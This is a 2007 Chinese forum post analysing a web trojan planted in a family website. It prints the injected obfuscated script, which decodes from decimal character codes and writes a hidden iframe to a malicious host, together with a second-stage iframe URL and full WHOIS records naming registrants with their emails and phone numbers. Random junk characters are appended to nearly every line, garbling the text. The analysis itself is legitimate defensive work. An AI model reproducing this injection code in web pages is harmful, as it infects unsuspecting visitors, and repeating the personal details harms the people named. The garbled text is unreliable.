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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, [vxHsY3z  
LPkl16yZ  
http://www.areway.cn/?p=175 |^gnT`+  
MK <\:g  
P5v;o9B&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: `?SLp  
          ]vH:@%3U  
<script>t=’60,105,102,114,97,109,101, &,$N|$yK}|  
32,115,114,99,61,104,116,116,112,58,47,47, ra^"Vr  
102,114,101,101,46,117,45,117,117,117,46,99, L!~ap  
110,47,101,114,114,111,114,46,104,116,109, SxL/]jWR7  
32,119,105,100,116,104,61,49,48,48,32,104, !'a <Dw5  
101,105,103,104,116,61,48,62,60,47,105,102, V/yj.aA*@  
114,97,109,101,62′; Sea6xGdq  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> fiLlOr%r  
                                                                                                  z]!w@:  
<script>t=’60,105,102,114,97,109,101,32,115, i~rb-~o  
114,99,61,104,116,116,112,58,47,47,102,114, Am#Pa,g  
101,101,46,117,45,117,117,117,46,99,110,47, dHtEyF  
101,114,114,111,114,46,104,116,109,32,119, +_ny{i`'  
105,100,116,104,61,49,48,48,32,104,101,105, . $ HE  
103,104,116,61,48,62,60,47,105,102,114,97, fD%20P`.  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 2j$~lI  
document.write(t);</script> Kr+#)S  
                                                                                                  )oZ2,]us!  
<html xmlns=” iK8jX?  
http://www.w3.org/1999/xhtml [ic%ZoZ_  
“> 5JS*6|IbD{  
<head> 2fP;>0?  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Ij:yTu   
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> N: 5 N}am  
<title>首页 - 爱生活家庭网 Tb{RQ?Nw'  
                                                                                                                                                    HP:[aR!2P  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 AL|3_+G  
转换字符串后的大概内容是(谁点击后果自付): D{JwZL@7k2  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Nwk^r75lq  
                                                                                                                                  TwKi_nh2m  
查询玉米u-uuu.cn的详细信息: Nr`v|_U  
Domain Name: u-uuu.cn *TPWLR ^  
ROID: 20070901s10001s64972306-cn Y /l~R7  
Domain Status: ok GF*uDJ Kp  
Registrant Organization: 王雷 hbs /S  
Registrant Name: 王雷 hd)WdGJp  
Administrative Email: czlovexs@126.com DkW^gt  
Sponsoring Registrar: 北京万网志成科技有限公司 \+k~p:d_8  
Name Server:ns.yovole.com [<nd+3E  
Name Server:ns1.yovole.com )-25?B  
Registration Date: 2007-09-01 17:54 `tl-] ^Y2  
Expiration Date: 2008-09-01 17:54 Bq tN=  
最后PING了一下地址 都没有什么…. p:3w8#)MZ  
                                                                                                wcGv#J],  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. <Ik5S1<h$H  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> #It!D5A  
<script language=”javascript” src=” lLI%J>b@  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 6sT( t8[  
> gwFW+*h  
这个玉米应该有可能是木马作者的: 6xu%M&ht  
foafau.info的详细信息: n D}<zj$D2  
Access to INFO WHOIS information is provided to assist persons in !wKiMgLS  
determining the contents of a domain name registration record in the ;Pvnhy  
Afilias registry database. The data in this record is provided by 8tzL.P^  
Afilias Limited for informational purposes only, and Afilias does not a>k9& w  
guarantee its accuracy.  This service is intended only for query-based <]*Jhnx/  
access. You agree that you will use this data only for lawful purposes +P.JiH`\=  
and that, under no circumstances will you use this data to: (a) allow, Is9.A_0h  
enable, or otherwise support the transmission by e-mail, telephone, or =`l><  
facsimile of mass unsolicited, commercial advertising or solicitations (N5"'`NZA  
to entities other than the data recipient’s own existing customers; or V6'k\5|_  
(b) enable high volume, automated, electronic processes that send ^1Bk*?Yx\x  
queries or data to the systems of Registry Operator, a Registrar, or y(=0  
Afilias except as reasonably necessary to register domain names or |7!Bk$(vA  
modify existing registrations. All rights reserved. Afilias reserves )))AxgM  
the right to modify these terms at any time. By submitting this query, ?',Wn3A  
you agree to abide by this policy. X7?j90tH  
Domain ID:D22418703-LRMS TV}=$\D  
Domain Name:FOAFAU.INFO Sp]ov:]%f  
Created On:20-Nov-2007 16:05:42 UTC Y@+9Ukd/  
Last Updated On:20-Nov-2007 16:05:44 UTC [YJ*zO  
Expiration Date:20-Nov-2008 16:05:42 UTC OXZx!h  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ScRK1  
Status:CLIENT DELETE PROHIBITED OK2\2&G  
Status:CLIENT RENEW PROHIBITED Wj, {lJ,  
Status:CLIENT TRANSFER PROHIBITED 1[\I9dv2  
Status:CLIENT UPDATE PROHIBITED -?Cu-'  
Status:TRANSFER PROHIBITED P@Vs\wAT  
Registrant ID:GODA-040110615 C#RueDa.  
Registrant Name:liu hong _B\87e  
Registrant Organization: U\>k>|Jr{  
Registrant Street1:beijing {vur9L  
Registrant Street2: rym*W\AWx  
Registrant Street3: tZ:fOM  
Registrant City:beijing ACF_;4%&  
Registrant State/Province: ){w!< Lb  
Registrant Postal Code:100000 `0-i>>  
Registrant Country:CN 'Z nJd j  
Registrant Phone:+86.860108888777 0\+$j5;  
Registrant Phone Ext.: ac8su0  
Registrant FAX: 4x.I"eW~&  
Registrant FAX Ext.: lE3&8~2   
Registrant Email:bbbshiji@163.com {fMo#`9=  
Admin ID:GODA-240110615 =.,XJIw&  
Admin Name:liu hong :)Da^V  
Admin Organization: Me^L%%: @  
Admin Street1:beijing :^]Fp UY  
Admin Street2: ^b*ub(5Ot  
Admin Street3: am/D$ (l1  
Admin City:beijing xFyBF[c  
Admin State/Province: eGo$F2C6E  
Admin Postal Code:100000 HN<e)E38  
Admin Country:CN ?yA 2N;  
Admin Phone:+86.860108888777 _V` QvnT}  
Admin Phone Ext.: WrR8TYq9D]  
Admin FAX: {(h!JeQ  
Admin FAX Ext.: B&}lYo  
Admin Email:bbbshiji@163.com <lWBhrz  
Billing ID:GODA-340110615 iu{QHjZK(  
Billing Name:liu hong lLEEre  
Billing Organization: {wD "|K  
Billing Street1:beijing P5'VLnE R{  
Billing Street2: ?l`|j*  
Billing Street3: f1U: _V^d  
Billing City:beijing =-G4 BQ  
Billing State/Province: xww\L &y  
Billing Postal Code:100000 OGW0lnQ/  
Billing Country:CN jjg&C9w T  
Billing Phone:+86.860108888777 w# ;t$qz}  
Billing Phone Ext.: T? ,Q=.  
Billing FAX: 3) XS^WG  
Billing FAX Ext.: ca%XA|_J  
Billing Email:bbbshiji@163.com .GFKy  
Tech ID:GODA-140110615 ,|w,  
Tech Name:liu hong :BblH0'  
Tech Organization: M$3/jl*#}  
Tech Street1:beijing KCn#*[  
Tech Street2: ,_:6qn{  
Tech Street3: VGOdJ|2]Wr  
Tech City:beijing 8,:lw3x1  
Tech State/Province: Gn<e&|4>i}  
Tech Postal Code:100000 I!.-}]k  
Tech Country:CN UBx0Z0Y  
Tech Phone:+86.860108888777 A$TF a:O|  
Tech Phone Ext.: Q|Nw @7$`  
Tech FAX: >8injW3 52  
Tech FAX Ext.:  8vUq8[[  
Tech Email:bbbshiji@163.com Ljk0K3Q6>  
Name Server:NS27.DOMAINCONTROL.COM GA.cp*2 ~  
Name Server:NS28.DOMAINCONTROL.COM Vtk}>I@%  
Name Server: bW zUWLa  
Name Server: _F jax  
Name Server: (KR.dxzjf  
Name Server: M,SIs 3  
Name Server: ^!SwY_>  
Name Server: = Ru q  
Name Server: = {~A} X01  
Name Server: dz?Ey~;M  
Name Server: ~P9^4  
Name Server: x8&~  
Name Server: O! w&3 p  
                                                                                                          ?$b*)<  
接着下载每个文件里面的代码: EHt(! ;?q  
一步一步看.. &y~GTEP  
S|_lb MZM  
# twl  
|tO.@+[uqP  
7gt%[r M  
$oZV 54  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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